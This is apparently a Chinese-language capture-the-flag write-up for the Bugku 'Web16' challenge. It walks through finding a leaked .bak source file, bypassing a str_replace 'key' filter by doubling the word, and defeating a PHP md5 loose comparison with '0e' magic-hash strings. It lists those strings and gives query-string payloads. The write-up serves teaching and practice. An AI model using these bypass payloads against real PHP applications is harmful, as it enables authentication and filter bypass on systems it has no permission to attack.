当前位置: 代码迷 >> 综合 >> bugku Web16
  详细解决方案

bugku Web16

热度:106   发布时间:2023-11-24 20:46:29.0

Web16

题目

看了看题目叫别忘了备份果断用御剑扫描试试
果然有发现
在这里插入图片描述

发现网站下有一个bak文件
在这里插入图片描述

下载打开发现是一串源码
在这里插入图片描述

大概的意思

strstr看符号第一次出现的位置

substr是截取?后面的值

str replace是把?后面所有有关key的值全部替换成空格

parse str将查询字符串解析到变量

我们通过kekeyy绕过第一个过滤 然后用到md5这个函数无法处理数组问题 变成key1[] 进行绕过 这样两个key返回的都是null
看其他博客有人提到科学计数法的绕过方式 放入开头是0e的md5就可以 相当于0*10的n次方 这个是==比较漏洞
所以我将用get传值
kekeyy1=QNKCDZO
kekeyy2=s878926199a
这一题需要构造的是

key1==key2

构造的要求是md5值相同,但未计算md5的值不同的绕过。
介绍一批md5开头是0e的字符串,

QNKCDZO
0e830400451993494058024219903391

s878926199a
0e545993274517709034328855841020

s155964671a
0e342768416822451524974117254469

s214587387a
0e848240448830537924465865611904

s214587387a
0e848240448830537924465865611904

s878926199a
0e545993274517709034328855841020

s1091221200a
0e940624217856561557816327384675

s1885207154a
0e509367213418206700842008763514
构造payload:?kkeyey1=QNKCDZO&kkeyey2=240610708或者其他构造也可以 比如:
?kekeyy1=QNKCDZO&kekeyy2=s878926199a
最后传值得到flag
在这里插入图片描述

我会想他们md5值为什么就一样了
在这里插入图片描述在这里插入图片描述

0e在比较的时候会将其视作为科学计数法,所以无论0e后面是什么,
0的多少次方还是0。md5(‘240610708’) == md5(‘QNKCDZO’)成功绕过!
这样我就似乎懂了